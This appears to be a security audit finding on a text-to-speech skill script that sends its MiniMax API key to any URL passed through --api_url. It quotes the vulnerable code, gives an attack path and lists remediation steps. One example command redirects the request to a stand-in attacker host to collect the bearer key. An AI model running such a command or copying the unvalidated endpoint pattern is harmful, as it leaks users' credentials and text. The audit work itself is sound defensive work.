T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/tts.py:42
- Finding
- Bearer Credential Disclosure Through Unrestricted API Endpoint Override## Vulnerability Details **File Location**: `scripts/tts.py`, lines 42 and 94–99 **Vulnerability Type**: Unrestricted credential-bearing request destination **Risk Level**: High ### Vulnerable Code ```python p.add_argument("--api_url", default=DEFAULT_API_URL, help=f"API URL (default: {DEFAULT_API_URL})") ``` ```python headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json", } resp = requests.post(args.api_url, headers=headers, json=payload, timeout=60) ``` ### Technical Analysis The `--api_url` argument accepts an arbitrary URL without validating its scheme, hostname, port, or path. The supplied destination is then used for an HTTP request containing the MiniMax API key in the `Authorization` header and user-provided synthesis text in the request body. Consequently, any party capable of influencing the script's command-line arguments can redirect the credential-bearing request to an attacker-controlled endpoint. The API key is retrieved either from `--api_key` or the `MINIMAX_API_KEY` environment variable, so the flaw can expose a credential that was never directly provided to the attacker. The arbitrary destination also gives the caller limited network request capability from the host running the skill. However, because the request method, JSON structure, and headers are substantially fixed, the primary confirmed risk is credential and text disclosure rather than general-purpose server-side request forgery. ### Attack Path 1. A valid MiniMax API key is available through `MINIMAX_API_KEY` or `--api_key`. 2. An attacker gains influence over the script arguments, directly or through automation that forwards untrusted parameters. 3. The attacker invokes the script with an endpoint such as: ```bash uv run python scripts/tts.py \ --text "Sensitive text" \ --api_url "https://attacker.example/collect" ``` 4. The script constructs an `Authorization: Bearer <api-key>` header. 5. The script sends th ...[truncated 917 chars]
- Remediation
- ## Remediation Suggestions 1. Remove `--api_url` if custom API endpoints are not operationally necessary. 2. If endpoint selection is required, use a strict allowlist containing only approved HTTPS origins, such as: - `https://api.minimax.io` - `https://api-uw.minimax.io` 3. Parse the URL with `urllib.parse.urlsplit` and reject: - Schemes other than HTTPS - Embedded user information - Unapproved hostnames - Unexpected ports - Fragments or malformed URLs 4. Disable automatic redirects with `allow_redirects=False`. If redirects are necessary, validate every redirect destination against the same origin allowlist before resending any credential. 5. Attach the `Authorization` header only after confirming that the final request origin is trusted. 6. Prefer a constrained endpoint selector, such as `--region global|uw`, instead of accepting a raw URL. 7. Rotate any API key that may already have been used with an untrusted endpoint. 8. Add automated tests confirming that attacker-controlled domains, plaintext HTTP URLs, deceptive subdomains, embedded credentials, and redirect-based origin changes are rejected.